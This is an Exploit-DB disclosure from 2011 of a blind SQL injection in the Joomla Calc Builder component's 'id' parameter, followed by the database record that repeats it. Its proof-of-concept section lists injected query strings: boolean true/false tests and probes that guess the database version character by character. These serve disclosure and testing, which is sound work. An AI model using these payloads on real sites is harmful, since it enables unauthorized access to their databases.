---------------------------------------------------------------------------------
Joomla Component Calc Builder (id) Blind SQL Injection Vulnerability
---------------------------------------------------------------------------------
Author : Chip D3 Bi0s
Group : LatinHackTeam
Email & msn : chipdebios[alt+64]gmail.com
Date : 19 June 2011
Critical Lvl : Moderate
Impact : Exposure of sensitive information
Where : From Remote
---------------------------------------------------------------------------
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : Calc Builder
version : 0.0.1
Developer : Guillermo Santiago
License : GPLv2 or later type : Commercial
Date Added : 12 June 2011
Price : 9.90 âŹ
Demo : http://components.moonsoft.es/democalcbuilder
Download : http://components.moonsoft.es/downloadcalcbuilder
Description :
CALC BUILDER allows you to create dynamic calculators.
Define your own input user form (types, size, order,validations).
Build results table through PHP code.
Export result table to PDF.
Simple and easy configuration. Three examples included.
---------------------------------------------------------------------------
I.Blind SQL injection (id) Poc/Exploit:
~~~~~~~~~
.....option=com_calcbuilder&controller=calcbuilder&format=raw&id=3 [blind]&fld_5=C
example
.....option=com_calcbuilder&controller=calcbuilder&format=raw&id=3 and+1=1&fld_5=C
.....option=com_calcbuilder&controller=calcbuilder&format=raw&id=3 and+1=2&fld_5=C
.....option=com_calcbuilder&controller=calcbuilder&format=raw&id=3 and+substring(@@version,1,1)=4&fld_5=C
.....option=com_calcbuilder&controller=calcbuilder&format=raw&id=3 and+substring(@@version,1,1)=5&fld_5=C
A special greeting to my good friends:
R4y0k3nt, ecore, J3h3s, r0i & pc Marquesita :)
+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++
{"id": "EDB-ID:17414", "hash": "8e2a6f511d87b0e568da930225a559a4", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Joomla Component Calc Builder id Blind SQL Injection Vulnerability", "description": "Joomla Component Calc Builder (id) Blind SQL Injection Vulnerability. Webapps exploit for php platform", "published": "2011-06-19T00:00:00", "modified": "2011-06-19T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://www.exploit-db.com/exploits/17414/", "reporter": "Chip d3 bi0s", "references": [], "cvelist": [], "lastseen": "2016-02-02T07:49:04", "history": [], "viewCount": 4, "enchantments": {"score": {"value": 0.5, "vector": "NONE", "modified": "2016-02-02T07:49:04"}, "dependencies": {"references": [], "modified": "2016-02-02T07:49:04"}, "vulnersScore": 0.5}, "objectVersion": "1.4", "sourceHref": "https://www.exploit-db.com/download/17414/", "sourceData": "---------------------------------------------------------------------------------\r\nJoomla Component Calc Builder (id) Blind SQL Injection Vulnerability\r\n---------------------------------------------------------------------------------\r\n \r\nAuthor : Chip D3 Bi0s\r\nGroup : LatinHackTeam\r\nEmail & msn : chipdebios[alt+64]gmail.com\r\nDate : 19 June 2011\r\nCritical Lvl : Moderate\r\nImpact : Exposure of sensitive information\r\nWhere : From Remote\r\n---------------------------------------------------------------------------\r\n \r\nAffected software description:\r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n \r\nApplication : Calc Builder\r\nversion : 0.0.1\r\nDeveloper : Guillermo Santiago\r\nLicense : GPLv2 or later type : Commercial\r\nDate Added : 12 June 2011\r\nPrice : 9.90 \u00e2\u0082\u0179\r\nDemo : http://components.moonsoft.es/democalcbuilder \r\nDownload : http://components.moonsoft.es/downloadcalcbuilder\r\n \r\nDescription :\r\n \r\nCALC BUILDER allows you to create dynamic calculators.\r\nDefine your own input user form (types, size, order,validations).\r\nBuild results table through PHP code.\r\nExport result table to PDF.\r\nSimple and easy configuration. Three examples included.\r\n \r\n \r\n---------------------------------------------------------------------------\r\n \r\n \r\nI.Blind SQL injection (id) Poc/Exploit:\r\n~~~~~~~~~\r\n.....option=com_calcbuilder&controller=calcbuilder&format=raw&id=3 [blind]&fld_5=C\r\n\r\nexample\r\n.....option=com_calcbuilder&controller=calcbuilder&format=raw&id=3 and+1=1&fld_5=C\r\n.....option=com_calcbuilder&controller=calcbuilder&format=raw&id=3 and+1=2&fld_5=C\r\n\r\n.....option=com_calcbuilder&controller=calcbuilder&format=raw&id=3 and+substring(@@version,1,1)=4&fld_5=C\r\n.....option=com_calcbuilder&controller=calcbuilder&format=raw&id=3 and+substring(@@version,1,1)=5&fld_5=C\r\n\r\n \r\n \r\n\r\nA special greeting to my good friends:\r\nR4y0k3nt, ecore, J3h3s, r0i & pc Marquesita :)\r\n \r\n \r\n \r\n+++++++++++++++++++++++++++++++++++++++\r\n[!] Produced in South America\r\n+++++++++++++++++++++++++++++++++++++++", "osvdbidlist": ["73204"], "_object_type": "robots.models.exploitdb.ExploitDbBulletin", "_object_types": ["robots.models.exploitdb.ExploitDbBulletin", "robots.models.base.Bulletin"]}